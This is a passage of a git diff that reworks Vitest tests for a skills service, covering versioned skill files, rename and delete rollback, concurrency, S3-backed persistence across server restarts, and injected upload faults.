"utf8")).toBe(input.markdown); - expect(await db.select().from(companySkills).where(eq(companySkills.companyId, companyId))).toHaveLength(1); + expect((await svc.readFile(companyId, retried.id, "SKILL.md"))!.content).toBe(input.markdown); + expect(await db.select().from(companySkills).where(and(eq(companySkills.companyId, companyId), eq(companySkills.sourceType, "managed")))).toHaveLength(1); expect(await db.select().from(companySkillVersions).where(eq(companySkillVersions.companySkillId, retried.id))).toHaveLength(1); }); @@ -254,9 +237,9 @@ describeEmbeddedPostgres("companySkillService.list", () => { await svc.deleteSkill(companyId, original.id); const replacement = await svc.createLocalSkill(companyId, { name: "Recreate", slug: "recreate", markdown: "# New instructions\n" }); expect(replacement.id).not.toBe(original.id); - expect(await fs.readFile(path.join(replacement.sourceLocator!, "SKILL.md"), "utf8")).toBe("# New instructions\n"); + expect((await svc.readFile(companyId, replacement.id, "SKILL.md"))!.content).toBe("# New instructions\n"); expect(await svc.deleteSkill(companyId, original.id)).toBeNull(); - expect(await fs.readFile(path.join(replacement.sourceLocator!, "SKILL.md"), "utf8")).toBe("# New instructions\n"); + expect((await svc.readFile(companyId, replacement.id, "SKILL.md"))!.content).toBe("# New instructions\n"); }); it.each(["save", "delete", "rename"] as const)("rejects a stale file %s after the skill is replaced", async (operation) => { @@ -316,59 +299,38 @@ describeEmbeddedPostgres("companySkillService.list", () => { expect(movedReplacementPaths).toEqual([]); expect(intercepted).toBe(true); expect(replacement).toBeDefined(); - expect(await fs.readFile(path.join(replacement!.sourceLocator!, "notes.md"), "utf8")).toBe("Replacement notes"); + expect((await svc.readFile(companyId, replacement!.id, "notes.md"))!.content).toBe("Replacement notes"); expect(await svc.getById(companyId, replacement!.id)).not.toBeNull(); }); - it("restores managed source files when the deletion transaction fails", async () => { + it("retains the committed managed version when deletion rolls back", async () => { const companyId = randomUUID(); - await db.insert(companies).values({ id: companyId, name: "Delete rollback", issuePrefix: `T${companyId.slice(0, 6)}` }); - const original = await svc.createLocalSkill(companyId, { name: "Retained", slug: "retained", markdown: "# Keep these instructions\n" }); - const failingDb = new Proxy(db, { - get(target, property, receiver) { - if (property === "transaction") return (callback: (tx: any) => Promise) => target.transaction(async (tx) => callback(new Proxy(tx, { - get(transaction, key, transactionReceiver) { - if (key === "delete") return () => { throw new Error("Deletion write failed"); }; - return Reflect.get(transaction, key, transactionReceiver); - }, - }))); - return Reflect.get(target, property, receiver); - }, - }); - await expect(companySkillService(failingDb).deleteSkill(companyId, original.id)).rejects.toThrow("Deletion write failed"); - expect(await svc.getById(companyId, original.id)).not.toBeNull(); - expect(await fs.readFile(path.join(original.sourceLocator!, "SKILL.md"), "utf8")).toBe("# Keep these instructions\n"); + await seedCompany(companyId); + const original = await svc.createLocalSkill(companyId, { name: "Retained", markdown: "# Keep these instructions\n" }); + await expect(svc.deleteSkills(companyId, [original.id], async () => { throw new Error("Deletion write failed"); })) + .rejects.toThrow("Deletion write failed"); + expect(await svc.readFile(companyId, original.id, "SKILL.md")) + .toMatchObject({ versionId: original.currentVersionId, content: "# Keep these instructions\n" }); }); - it("serializes duplicate deletes with recreation without removing new files", async () => { + it("serializes duplicate deletes with recreation without removing the new identity", async () => { const companyId = randomUUID(); - await db.insert(companies).values({ id: companyId, name: "Delete concurrency", issuePrefix: `T${companyId.slice(0, 6)}` }); + await seedCompany(companyId); const original = await svc.createLocalSkill(companyId, { name: "Concurrent", slug: "concurrent-delete", markdown: "# Old\n" }); - let release!: () => void; - let staged!: () => void; - const gate = new Promise((resolve) => { release = resolve; }); - const ready = new Promise((resolve) => { staged = resolve; }); - const rename = fs.rename.bind(fs); - const pause = vi.spyOn(fs, "rename").mockImplementation(async (source, target) => { - await rename(source, target); - if (source === original.sourceLocator) { - staged(); - await gate; - } - }); + let release!: () => void, staged!: () => void; + const gate = new Promise(resolve => { release = resolve; }); + const ready = new Promise(resolve => { staged = resolve; }); + const deletion = svc.deleteSkills(companyId, [original.id], async () => { staged(); await gate; }); try { - const deletion = svc.deleteSkill(companyId, original.id); await ready; const duplicate = svc.deleteSkill(companyId, original.id); const creation = svc.createLocalSkill(companyId, { name: "Replacement", slug: original.slug, markdown: "# Replacement\n" }); release(); const [, repeatedDelete, replacement] = await Promise.all([deletion, duplicate, creation]); expect(repeatedDelete).toBeNull(); - expect(await fs.readFile(path.join(replacement.sourceLocator!, "SKILL.md"), "utf8")).toBe("# Replacement\n"); - } finally { - release(); - pause.mockRestore(); - } + expect(replacement.id).not.toBe(original.id); + expect((await svc.readFile(companyId, replacement.id, "SKILL.md"))!.content).toBe("# Replacement\n"); + } finally { release(); } }); it("does not remove imported local source files when deleting a skill", async () => { @@ -382,23 +344,14 @@ describeEmbeddedPostgres("companySkillService.list", () => { expect(await fs.readFile(path.join(source, "SKILL.md"), "utf8")).toBe(markdown); }); - it("rejects a differing retry after rollback without changing durable bytes", async () => { + it("permits a fresh create after rollback without adopting the orphaned candidate", async () => { const companyId = randomUUID(); - await db.insert(companies).values({ id: companyId, name: "Rollback conflict", issuePrefix: `T${companyId.slice(0, 6)}` }); - const original = { name: "Original", slug: "rollback-conflict", markdown: "# original bytes\n" }; - await expect(db.transaction(async (tx) => { - await companySkillService(tx as any, { packageDb: db }).createLocalSkill(companyId, original); - throw new Error("simulate outer rollback"); - })).rejects.toThrow("simulate outer rollback"); - - await expect(svc.createLocalSkill(companyId, { - name: "Different", - slug: original.slug, - markdown: "# changed bytes\n", - })).rejects.toMatchObject({ status: 409 }); - const managedRoot = path.join(paperclipHome!, "instances", "default", "skills", companyId); - expect(await fs.readFile(path.join(managedRoot, original.slug, "SKILL.md"), "utf8")).toBe(original.markdown); - expect(await db.select().from(companySkills).where(eq(companySkills.companyId, companyId))).toHaveLength(0); + await seedCompany(companyId); + await expect(svc.createLocalSkill(companyId, { name: "Original", slug: "rolled-back", markdown: "# orphan\n" }, null, + { afterPublish: async () => { throw new Error("rollback"); } })).rejects.toThrow("rollback"); + const saved = await svc.createLocalSkill(companyId, { name: "Different", slug: "rolled-back", markdown: "# committed\n" }); + expect((await svc.readFile(companyId, saved.id, "SKILL.md"))!.content).toBe("# committed\n"); + expect(await db.select().from(companySkills).where(and(eq(companySkills.companyId, companyId), eq(companySkills.sourceType, "managed")))).toHaveLength(1); }); it("does not adopt an unrelated preexisting managed directory", async () => { @@ -409,20 +362,20 @@ describeEmbeddedPostgres("companySkillService.list", () => { await fs.mkdir(skillDir, { recursive: true }); await fs.writeFile(path.join(skillDir, "SKILL.md"), "# unrelated\n", "utf8"); - await expect(svc.createLocalSkill(companyId, { - name: "Requested", - slug: "occupied", - markdown: "# requested\n", - })).rejects.toMatchObject({ status: 409 }); + const saved = await svc.createLocalSkill(companyId, { + name: "Requested", slug: "occupied", markdown: "# requested\n", + }); + expect((await svc.readFile(companyId, saved.id, "SKILL.md"))!.content).toBe("# requested\n"); expect(await fs.readFile(path.join(skillDir, "SKILL.md"), "utf8")).toBe("# unrelated\n"); - expect(await db.select().from(companySkills).where(eq(companySkills.companyId, companyId))).toHaveLength(0); + expect(await db.select().from(companySkills).where(and(eq(companySkills.companyId, companyId), eq(companySkills.sourceType, "managed")))).toHaveLength(1); }); it("observes supporting-only local file saves across runtime preparations and service restarts", async () => { const companyId = randomUUID(); await db.insert(companies).values({ id: companyId, name: "Local supporting files", issuePrefix: `T${companyId.slice(0, 6)}` }); - const skill = await svc.createLocalSkill(companyId, { name: "Local references", slug: "local-references" }); - const source = skill.sourceLocator!; + const source = await createManagedSkillDir(companyId, "local-references-"); + await fs.writeFile(path.join(source, "SKILL.md"), "---\nname: local-references\n---\nRead reference.md\n"); + const skill = (await svc.importFromSource(companyId, source)).imported[0]!; await fs.writeFile(path.join(source, "reference.md"), "Original supporting file"); await db.update(companySkills).set({ fileInventory: [...skill.fileInventory, { path: "reference.md", kind: "reference" }], @@ -843,7 +796,7 @@ describeEmbeddedPostgres("companySkillService.list", () => { await svc.list(companyId); await svc.list(companyId); const before = await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId)); - const original = before[0]!; + const original = before.find(version => version.releaseId)!; await db.delete(companySkillVersions).where(eq(companySkillVersions.id, original.id)); await companySkillService(db).list(companyId); const after = await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId)); @@ -859,7 +812,7 @@ describeEmbeddedPostgres("companySkillService.list", () => { await db.insert(companies).values({ id: companyId, name: "Release integrity checks", issuePrefix: "RIC" }); await svc.list(companyId); await svc.list(companyId); - const [version] = await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId)); + const version = (await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId))).find(row => row.releaseId)!; const changed = [{ path: "SKILL.md", kind: "skill" as const, content: "Changed stored snapshot" }]; await db.update(companySkillVersions).set({ fileInventory: changed }).where(eq(companySkillVersions.id, version!.id)); await expect(companySkillService(db).list(companyId)).rejects.toThrow("does not match its seeded snapshot"); @@ -883,14 +836,14 @@ describeEmbeddedPostgres("companySkillService.list", () => { if (!paperclipSkill) throw new Error("Expected bundled Paperclip skill"); const versions = await svc.listVersions(companyId, paperclipSkill.id); - expect(versions.map((version) => version.releaseId).sort()).toEqual(["v0", "v7-roster"]); - expect(versions).toHaveLength(2); + expect(versions.flatMap(version => version.releaseId ? [version.releaseId] : []).sort()).toEqual(["v0", "v7-roster"]); + expect(versions).toHaveLength(3); const storedSkill = await db .select({ currentVersionId: companySkills.currentVersionId }) .from(companySkills) .where(eq(companySkills.id, paperclipSkill.id)) .then((rows) => rows[0]); - expect(storedSkill?.currentVersionId).toBeNull(); + expect(versions.some(version => version.id === storedSkill?.currentVersionId)).toBe(true); const champion = versions.find((version) => version.releaseId === "v7-roster"); expect(champion).toMatchObject({ @@ -1750,7 +1703,7 @@ describeEmbeddedPostgres("companySkillService.list", () => { const normalizedForkSlug = `${sourceType.replace("_", "-")}-skill-fork`; expect(first.skill).toMatchObject({ slug: normalizedForkSlug, - sourceType: "local_path", + sourceType: "managed", forkedFromSkillId: source!.id, }); expect(second.skill.slug).toBe(`${normalizedForkSlug}-2`); @@ -3324,7 +3277,7 @@ describeEmbeddedPostgres("companySkillService.list", () => { return `${slug}--${createHash("sha256").update(key).digest("hex").slice(0, 10)}`; } - it("renames a Paperclip-managed skill, moving the directory and rewriting SKILL.md frontmatter", async () => { + it("renames a Paperclip-managed skill by publishing new frontmatter with preserved history", async () => { const companyId = randomUUID(); await seedCompany(companyId); const skill = await svc.createLocalSkill( @@ -3332,8 +3285,6 @@ describeEmbeddedPostgres("companySkillService.list", () => { { name: "Prepare PR", slug: "prepare-pr", description: "Prep pull requests" }, { type: "user", userId: "board" }, ); - const oldDir = skill.sourceLocator!; - const managedRoot = path.dirname(oldDir); const result = await svc.renameSkill(companyId, skill.id, { name: "Ship PR", slug: "ship-pr" }); @@ -3350,10 +3301,8 @@ describeEmbeddedPostgres("companySkillService.list", () => { }, }); - const newDir = path.join(managedRoot, "ship-pr"); - expect(result.skill.sourceLocator).toBe(newDir); - await expect(fs.stat(oldDir)).rejects.toMatchObject({ code: "ENOENT" }); - const renamedMarkdown = await fs.readFile(path.join(newDir, "SKILL.md"), "utf8"); + expect(result.skill.sourceLocator).toBeNull(); + const renamedMarkdown = (await svc.readFile(companyId, skill.id, "SKILL.md"))!.content; expect(renamedMarkdown).toContain("name: Ship PR"); expect(renamedMarkdown).not.toContain("name: Prepare PR"); @@ -3362,16 +3311,16 @@ describeEmbeddedPostgres("companySkillService.list", () => { expect(persisted).toMatchObject({ description: "Prep pull requests" }); expect(persisted?.markdown).toBe(renamedMarkdown); const versions = await svc.listVersions(companyId, skill.id); - expect(versions).toHaveLength(1); + expect(versions).toHaveLength(2); }); - it("quotes YAML-special names while keeping stored and on-disk markdown synchronized", async () => { + it("quotes YAML-special names in both the version and metadata projection", async () => { const companyId = randomUUID(); await seedCompany(companyId); const skill = await svc.createLocalSkill(companyId, { name: "Prepare PR", slug: "prepare-pr" }); const result = await svc.renameSkill(companyId, skill.id, { name: "Ship: PR #1", slug: "ship-pr" }); - const markdown = await fs.readFile(path.join(result.skill.sourceLocator!, "SKILL.md"), "utf8"); + const markdown = (await svc.readFile(companyId, skill.id, "SKILL.md"))!.content; const persisted = await svc.getById(companyId, skill.id); expect(markdown).toContain('name: "Ship: PR #1"'); @@ -3379,7 +3328,7 @@ describeEmbeddedPostgres("companySkillService.list", () => { expect(persisted?.markdown).toBe(markdown); }); - it("supports a name-only rename that keeps the slug/key and directory", async () => { + it("supports a name-only rename that keeps the slug and key", async () => { const companyId = randomUUID(); await seedCompany(companyId); const skill = await svc.createLocalSkill( @@ -3398,7 +3347,7 @@ describeEmbeddedPostgres("companySkillService.list", () => { key: `company/${companyId}/prepare-pr`, sourceLocator: dir, }); - const markdown = await fs.readFile(path.join(dir, "SKILL.md"), "utf8"); + const markdown = (await svc.readFile(companyId, skill.id, "SKILL.md"))!.content; expect(markdown).toContain("name: Prepare Pull Request"); }); @@ -3596,21 +3545,17 @@ describeEmbeddedPostgres("companySkillService.list", () => { expect(other.paperclipSkillSync.desiredSkills).toEqual([`company/${companyId}/unrelated`]); }); - it("removes the old runtime materialization when the key/slug changes", async () => { + it("resolves a saved version by stable identity after a rename", async () => { const companyId = randomUUID(); await seedCompany(companyId); const skill = await svc.createLocalSkill(companyId, { name: "Runtime Skill", slug: "runtime-skill" }); - const managedRoot = path.dirname(skill.sourceLocator!); - const oldRuntimeDir = path.join(managedRoot, "__runtime__", runtimeSkillName(skill.key, skill.slug)); - await fs.mkdir(oldRuntimeDir, { recursive: true }); - await fs.writeFile(path.join(oldRuntimeDir, "SKILL.md"), "# stale\n", "utf8"); - - const revisionCacheRoot = path.join(managedRoot, "__runtime_cache_v1__", skill.id); - await fs.mkdir(revisionCacheRoot, { recursive: true }); - await fs.writeFile(path.join(revisionCacheRoot, "old-cache"), "stale"); - await svc.renameSkill(companyId, skill.id, { name: "Runtime Skill", slug: "runtime-renamed" }); - await expect(fs.stat(revisionCacheRoot)).rejects.toMatchObject({ code: "ENOENT" }); - - await expect(fs.stat(oldRuntimeDir)).rejects.toMatchObject({ code: "ENOENT" }); + const [before] = await svc.listRuntimeSkillEntries(companyId, { onlyKeys: new Set([skill.key]), snapshotLatest: true }); + const renamed = await svc.renameSkill(companyId, skill.id, { name: "Renamed Skill", slug: "runtime-renamed" }); + const [pinned] = await svc.listRuntimeSkillEntries(companyId, { onlyKeys: new Set([skill.key]), snapshotLatest: true, + versionSelections: new Map([[skill.key, before!.versionId!]]) }); + expect(pinned).toMatchObject({ key: skill.key, versionId: before!.versionId, runtimeName: before!.runtimeName }); + expect(await fs.readFile(path.join(pinned!.source, "SKILL.md"), "utf8")).toBe(skill.markdown); + expect(renamed.skill.currentVersionId).not.toBe(before!.versionId); }); + }); diff --git a/server/src/__tests__/environment-skills.test.ts b/server/src/__tests__/environment-skills.test.ts index c47ad5acb07..346cb42db13 100644 --- a/server/src/__tests__/environment-skills.test.ts +++ b/server/src/__tests__/environment-skills.test.ts @@ -103,9 +103,7 @@ describeDatabase("environment managed skills", () => { const events = () => db.select().from(resourceLifecycleEvents).where(and(eq(resourceLifecycleEvents.companyId, companyId), eq(resourceLifecycleEvents.resourceType, "agent_runtime"))); const before = (await events()).length; const edited = skill.markdown + "\nCompany edit."; - await fs.chmod(path.join(skill.sourceLocator!, "SKILL.md"), 0o600); - await fs.writeFile(path.join(skill.sourceLocator!, "SKILL.md"), edited); - await db.update(companySkills).set({ markdown: edited }).where(eq(companySkills.id, skill.id)); + await companySkillService(db).updateFile(companyId, skill.id, "SKILL.md", edited); expect((await events()).slice(before).map(event => event.resourceId)).toEqual([agent.id]); const refreshed = (await pluginAgentRuntimeState(db, pluginId, companyId, agent.id, undefined, true))!.skills[0]; expect(refreshed.versionId).not.toBe(runtime.versionId); diff --git a/server/src/__tests__/ephemeral-skills-process.test.ts b/server/src/__tests__/ephemeral-skills-process.test.ts new file mode 100644 index 00000000000..8f4bd843bf6 --- /dev/null +++ b/server/src/__tests__/ephemeral-skills-process.test.ts @@ -0,0 +1,169 @@ +import { fork, type ChildProcess } from "node:child_process"; +import { once } from "node:events"; +import { randomUUID } from "node:crypto"; +import { fileURLToPath } from "node:url"; +import { promises as fs } from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { beforeAll, afterAll, describe, expect, it } from "vitest"; +import { S3Client, CreateBucketCommand, DeleteBucketCommand, ListObjectsV2Command, DeleteObjectsCommand } from "@aws-sdk/client-s3"; +import { companies, createDb } from "@paperclipai/db"; +import { startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js"; +import { removeRuntimeAssetTree } from "../services/native-runtime/runtime-asset-retention.js"; + +type Server = { child: ChildProcess; url: string; home: string; rpc(method: string, input?: Record): Promise }; +const enabled = Boolean(process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL && process.env.PAPERCLIP_TEST_S3_ENDPOINT); +describe.skipIf(!enabled)("skills survive web-server replacement", () => { + let database: Awaited>; + let db: ReturnType; + let root: string; + let s3: S3Client; + const bucket = `paperclip-skills-${randomUUID()}`; + const servers: Server[] = []; + beforeAll(async () => { + database = await startEmbeddedPostgresTestDatabase("ephemeral-skills-"); + db = createDb(database.connectionString); + root = await fs.mkdtemp(path.join(os.tmpdir(), "ephemeral-skills-process-")); + s3 = new S3Client({ region: "us-east-1", endpoint: process.env.PAPERCLIP_TEST_S3_ENDPOINT, forcePathStyle: true }); + await s3.send(new CreateBucketCommand({ Bucket: bucket })); + }, 90_000); + async function stop(server: Server) { + if (server.child.exitCode === null && server.child.signalCode === null) { + const exited = once(server.child, "exit"); + server.child.kill("SIGKILL"); + await exited; + } + } + afterAll(async () => { + await Promise.all(servers.map(stop)); + await db?.$client.end({ timeout: 1 }); + await database?.cleanup(); + if (s3) { + while (true) { + const objects = await s3.send(new ListObjectsV2Command({ Bucket: bucket })); + if (!objects.Contents?.length) break; + await s3.send(new DeleteObjectsCommand({ Bucket: bucket, Delete: { Objects: objects.Contents.map(object => ({ Key: object.Key! })) } })); + } + await s3.send(new DeleteBucketCommand({ Bucket: bucket })); + s3.destroy(); + } + if (root) await removeRuntimeAssetTree(root); + }, 90_000); + async function start(name: string): Promise { + const home = path.join(root, name); + const child = fork(fileURLToPath(new URL("./helpers/ephemeral-skills-server.ts", import.meta.url)), [], { + execArgv: ["--import", fileURLToPath(import.meta.resolve("tsx"))], stdio: ["ignore", "pipe", "pipe", "ipc"], + env: { ...process.env, DATABASE_URL: database.connectionString, PAPERCLIP_HOME: home, PAPERCLIP_INSTANCE_ID: "default", + PAPERCLIP_STORAGE_PROVIDER: "s3", PAPERCLIP_STORAGE_S3_BUCKET: bucket, + PAPERCLIP_STORAGE_S3_ENDPOINT: process.env.PAPERCLIP_TEST_S3_ENDPOINT, PAPERCLIP_STORAGE_S3_FORCE_PATH_STYLE: "true", + PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED: "true", PAPERCLIP_LOG_LEVEL: "error", PAPERCLIP_TELEMETRY_ENABLED: "false" }, + }); + let logs = ""; + child.stdout?.on("data", data => { logs = (logs + data).slice(-5000); }); + child.stderr?.on("data", data => { logs = (logs + data).slice(-5000); }); + let nextId = 0; + const server: Server = { child, home, url: "", rpc(method, input) { + const id = ++nextId; + return new Promise((resolve, reject) => { + const timer = setTimeout(() => { cleanup(); reject(new Error(`Fixture RPC timed out: ${method}\n${logs}`)); }, 30_000); + const receive = (message: any) => { if (message.id === id) { cleanup(); message.error ? reject(new Error(message.error)) : resolve(message.result); } }; + const exit = () => { cleanup(); reject(new Error(`Fixture exited during ${method}: ${logs}`)); }; + const cleanup = () => { clearTimeout(timer); child.off("message", receive); child.off("exit", exit); }; + child.on("message", receive); child.on("exit", exit); child.send({ id, method, input }); + }); + } }; + servers.push(server); + await new Promise((resolve, reject) => { + const timer = setTimeout(() => { cleanup(); reject(new Error(`Fixture startup timed out: ${logs}`)); }, 60_000); + const receive = (message: any) => { if (message.ready) { server.url = `http://127.0.0.1:${message.port}/api`; cleanup(); resolve(); } }; + const exit = () => { cleanup(); reject(new Error(`Fixture startup failed: ${logs}`)); }; + const cleanup = () => { clearTimeout(timer); child.off("message", receive); child.off("exit", exit); }; + child.on("message", receive); child.on("exit", exit); + }); + return server; + } + async function request(server: Server, route: string, method = "GET", body?: Record, expected = 200) { + const response = await fetch(`${server.url}${route}`, { method, headers: { "Content-Type": "application/json" }, + body: body ? JSON.stringify(body) : undefined, signal: AbortSignal.timeout(30_000) }); + const result = await response.json(); + expect(response.status, JSON.stringify(result)).toBe(expected); + return result; + } + async function company() { + const companyId = randomUUID(); + await db.insert(companies).values({ id: companyId, name: "Ephemeral skill qualification", issuePrefix: `EP${companyId.slice(0, 5)}` }); + return companyId; + } + async function directoryBytes(directory: string): Promise { + let bytes = 0; + for (const entry of await fs.readdir(directory, { withFileTypes: true }).catch(() => [])) { + const absolute = path.join(directory, entry.name); + bytes += entry.isDirectory() ? await directoryBytes(absolute) : (await fs.stat(absolute)).size; + } + return bytes; + } + + it("preserves unassigned content, exact receipts and executable delivery through A → B → C", async () => { + const companyId = await company(); + const route = `/companies/${companyId}/skills`; + const a = await start("a"); + const input = { name: "Cold fixture", slug: "cold-fixture", markdown: "# Version A\n", idempotencyKey: "create-once" }; + const created = await request(a, route, "POST", input, 201); + const files = `${route}/${created.id}/files`; + const script = await request(a, files, "PATCH", { path: "scripts/run.sh", content: "#!/bin/sh\ncat references/value.txt\n", executable: true, expectedVersionId: created.currentVersionId }); + const saved = await request(a, files, "PATCH", { path: "references/value.txt", content: "durable useful result\n", expectedVersionId: script.versionId }); + await request(a, route); + await stop(a); + await removeRuntimeAssetTree(a.home); + await fs.writeFile(a.home, "predecessor filesystem unavailable"); + const b = await start("b"); + await b.rpc("metrics"); + expect((await request(b, route)).some((skill: any) => skill.id === created.id)).toBe(true); + await request(b, `${route}/${created.id}/versions`); + expect((await b.rpc("metrics")).downloads).toBe(0); + const coldStarted = performance.now(); + expect(await request(b, `${files}?path=references/value.txt`)).toMatchObject({ content: "durable useful result\n", versionId: saved.versionId }); + const coldReadMs = performance.now() - coldStarted; + const coldMetrics = await b.rpc("metrics"); + expect(coldMetrics.downloads).toBeGreaterThan(0); + expect(await b.rpc("runtime", { companyId, key: created.key, execute: true })).toMatchObject({ versionId: saved.versionId, output: "durable useful result\n" }); + await b.rpc("metrics"); + const warm = await b.rpc("runtime", { companyId, key: created.key, execute: true }); + const warmMetrics = await b.rpc("metrics"); + expect(warmMetrics.downloads).toBe(0); + const temporaryBytes = await directoryBytes(b.home); + await b.rpc("faults", { lostResponse: true }); + const saveInput = { path: "SKILL.md", content: "# Version B\n", expectedVersionId: saved.versionId, idempotencyKey: "save-once" }; + await expect(request(b, files, "PATCH", saveInput)).rejects.toThrow(); + const receipt = await request(b, files, "PATCH", saveInput); + expect(receipt).toMatchObject({ skillId: created.id, path: "SKILL.md" }); + const c = await start("c"); + expect(await request(c, `${files}?path=SKILL.md`)).toMatchObject({ content: "# Version B\n", versionId: receipt.versionId }); + expect(await request(c, route, "POST", input)).toEqual(created); + await stop(b); + await removeRuntimeAssetTree(b.home); + expect(await c.rpc("runtime", { companyId, key: created.key, versionId: saved.versionId, execute: true })) + .toMatchObject({ versionId: saved.versionId, markdown: "# Version A\n", output: "durable useful result\n" }); + expect(await request(c, files, "PATCH", { ...saveInput, content: "different" }, 409)).toHaveProperty("error"); + process.stdout.write(`${JSON.stringify({ qualification: "A-B-C", versions: [created.currentVersionId, saved.versionId, receipt.versionId], + coldReadMs, coldDownloads: coldMetrics.downloads, coldObjectBytes: coldMetrics.downloadedBytes, + warmMs: warm.elapsedMs, warmDownloads: warmMetrics.downloads, rssBytes: warmMetrics.memory.rss, temporaryBytes })}\n`); + }, 180_000); + + it("rejects concurrent stale publication and survives upload failure or process death", async () => { + const companyId = await company(), route = `/companies/${companyId}/skills`; + const a = await start("concurrent-a"), b = await start("concurrent-b"); + const created = await request(a, route, "POST", { name: "Conflict", markdown: "# Stable\n" }, 201); + const files = `${route}/${created.id}/files`; + await request(a, `${files}?path=SKILL.md`); + const edit = await request(b, files, "PATCH", { path: "first.txt", content: "B", expectedVersionId: created.currentVersionId }); + await request(a, files, "PATCH", { path: "second.txt", content: "A", expectedVersionId: created.currentVersionId }, 409); + expect(await request(a, `${files}?path=first.txt`)).toMatchObject({ content: "B", versionId: edit.versionId }); + await a.rpc("faults", { failUploads: true }); + await request(a, files, "PATCH", { path: "SKILL.md", content: "# Must not commit\n", expectedVersionId: edit.versionId }, 500); + expect(await request(b, `${files}?path=SKILL.md`)).toMatchObject({ content: "# Stable\n", versionId: edit.versionId }); + await a.rpc("faults", { crashAfterUpload: true }); + await expect(request(a, files, "PATCH", { path: "SKILL.md", content: "# Crash candidate\n", expectedVersionId: edit.versionId })).rejects.toThrow(); + expect(await request(b, `${files}?path=SKILL.md`)).toMatchObject({ content: "# Stable\n", versionId: edit.versionId }); + }, 180_000); +}); diff --git a/server/src/__tests__/heartbeat-execution-configuration.test.ts b/server/src/__tests__/heartbeat-execution-configuration.test.ts index 0e89a77fae7..509a9cfa7e6 100644 --- a/server/src/__tests__/heartbeat-execution-configuration.test.ts +++ b/server/src/__tests__/heartbeat-execution-configuration.test.ts @@ -2,12 +2,12 @@ import { enableRunFailureReporting } from "./helpers/run-failure-reporting.js"; import { createHash, randomUUID } from "node:crypto"; import { trace } from "@opentelemetry/api"; import { InMemorySpanExporter, SimpleSpanProcessor, TracerProvider } from "@opentelemetry/sdk-trace"; -import { access, chmod, mkdir, readdir, readFile, mkdtemp, rm } from "node:fs/promises"; +import { access, chmod, mkdir, readdir, readFile, mkdtemp, rm, stat } from "node:fs/promises"; import { tmpdir } from "node:os"; import path from "node:path"; import { eq } from "drizzle-orm"; import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest"; -import { agents, authUsers, companies, companyMemberships, companySkills, createDb, heartbeatRunEvents, heartbeatRuns, issues, projects, plugins, environments } from "@paperclipai/db"; +import { agents, authUsers, companies, companyMemberships, companySkills, companySkillTestRuns, createDb, heartbeatRunEvents, heartbeatRuns, issues, projects, plugins, environments } from "@paperclipai/db"; import { companySkillService } from "../services/company-skills.js"; import { withSkillVersionCacheLock } from "../services/skill-version-cache.js"; import { registerServerAdapter, unregisterServerAdapter, type AdapterExecutionContext } from "../adapters/index.js"; @@ -21,7 +21,7 @@ import { aiConnectionService } from "../services/ai-connections.js"; import * as aiRuntime from "../services/ai-connection-runtime.js"; import * as sentry from "../sentry.js"; import { waitForPendingRunFailureReports } from "../services/run-failure-report.js"; -import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js"; +import { recoveryPostgresSupport, startRecoveryPostgres } from "./helpers/recovery-postgres.js"; const skillFailures = vi.hoisted(() => new Map()); @@ -59,12 +59,12 @@ vi.mock("../services/company-skills.js", async importOriginal => { } }; }); -const support = await getEmbeddedPostgresTestSupport(); +const support = recoveryPostgresSupport; const describePostgres = support.supported ? describe : describe.skip; if (!support.supported) console.warn(`Skipping execution configuration tests: ${support.reason}`); describePostgres("heartbeat execution configuration through adapter dispatch", () => { - let temporary: Awaited>; + let temporary: Awaited>; let db: ReturnType; let heartbeat: ReturnType; const captured = new Map(); @@ -74,7 +74,7 @@ describePostgres("heartbeat execution configuration through adapter dispatch", ( let home: string; beforeAll(async () => { - temporary = await startEmbeddedPostgresTestDatabase("heartbeat-execution-config-"); + temporary = await startRecoveryPostgres("heartbeat-execution-config-"); db = createDb(temporary.connectionString); home = await mkdtemp(path.join(tmpdir(), "paperclip-execution-skills-")); process.env.PAPERCLIP_HOME = home; @@ -90,7 +90,7 @@ describePostgres("heartbeat execution configuration through adapter dispatch", ( }, testEnvironment: async () => ({ adapterType, status: "pass", checks: [], testedAt: new Date().toISOString() }), }); - }, 30_000); + }, 60_000); afterEach(() => { vi.restoreAllMocks(); vi.unstubAllEnvs(); skillFailures.clear(); }); afterAll(async () => { await heartbeat?.drainActiveRunExecutions(); @@ -220,14 +220,14 @@ describePostgres("heartbeat execution configuration through adapter dispatch", ( } }); - async function configuration(f: Awaited>, config: Record, snapshot: Record = {}, type = "paperclip_runner", explicitTaskDirectory = false, requestedExecutionWorkspaceMode: HeartbeatExecutionConfigurationInput["policy"]["requestedExecutionWorkspaceMode"] = "shared_workspace", selectedEnvironmentForConfig: HeartbeatExecutionConfigurationInput["environment"]["selectedEnvironmentForConfig"] = null) { + async function configuration(f: Awaited>, config: Record, snapshot: Record = {}, type = "paperclip_runner", explicitTaskDirectory = false, requestedExecutionWorkspaceMode: HeartbeatExecutionConfigurationInput["policy"]["requestedExecutionWorkspaceMode"] = "shared_workspace", selectedEnvironmentForConfig: HeartbeatExecutionConfigurationInput["environment"]["selectedEnvironmentForConfig"] = null, pinnedSkillTest?: HeartbeatExecutionConfigurationInput["task"]["pinnedSkillTest"]) { const [agent] = await db.update(agents).set({ adapterType: type, adapterConfig: config }).where(eq(agents.id, f.agentId)).returning(); const [run] = await db.insert(heartbeatRuns).values({ companyId: f.companyId, agentId: f.agentId, issueId: f.issueId, scopeKind: "issue", status: "running", contextSnapshot: snapshot }).returning(); const resolvedInstanceSettings = await instanceSettingsService(db).get(); const appendRunEvent = vi.fn(); return { run, appendRunEvent, prepare: () => prepareHeartbeatExecutionConfiguration(db, { run, agent, - task: { issueId: f.issueId, context: { ...snapshot, issueId: f.issueId }, responsibleUserId: null, + task: { issueId: f.issueId, context: { ...snapshot, issueId: f.issueId }, responsibleUserId: null, pinnedSkillTest, acceptedPlanContinuationWake: false, acceptedPlanWakeRoutingDecision: null, taskProjectContext: null, routineEnvContext: { routineId: null, env: null, responsibleUserId: null } }, config: { sourceWorkspaceConfig: config, aiBinding: undefined }, 